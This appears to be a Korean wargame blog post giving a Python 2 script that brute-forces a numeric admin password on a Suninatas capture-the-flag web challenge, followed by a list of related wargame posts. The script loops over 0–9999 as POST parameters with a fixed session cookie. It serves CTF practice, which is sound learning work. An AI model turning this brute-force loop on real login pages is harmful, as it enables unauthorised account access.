import urllib
import httplib
import urllib2
import re
def Search():
#print BlindList[blind]
print "========== Suninatas Brute Forcing!!! ==========\n"
for number in range(0,10000):
Attack = "suninatas.com"
conn = httplib.HTTPConnection(Attack)
post_param = urllib.urlencode({'id':'admin','pw':number})
headers = {'Cookie':"ASPSESSIONIDQSQAABST=HNFFFDAAMADPLEOAHBLGNFIG; auth%5Fkey=%3F%3F%3F%3F%3F"}
conn.request('POST','/Part_one/web08/web08.asp',post_param, headers)
response = conn.getresponse()
ok = re.findall("Incorrect!",response.read())
#print read
if ok:
f = open('su7_v1.txt','a')
f.write("Password Search!! ->"+str(number)+"\n")
print "Password search!! -> %d"%(number)
f.close()
else:
f = open('su7_v1.txt','a')
f.write("\n\n\nPassword Crack!! ->"+str(number)+"\n\n\n")
print "\n#######Password Crack!!####### -> %d\n"%number
f.close()
Search()
'Wargame' 카테고리의 다른 글
GDB 샘플 (0) | 2016.04.22 |
---|---|
BOF 샘플 (0) | 2016.04.22 |
추천 워게임 사이트 써니나타스 (0) | 2013.04.18 |
webhacking.kr 55번 문제 풀이 (0) | 2013.03.04 |
webhacking.kr 56번 문제 풀이 (4) | 2013.03.04 |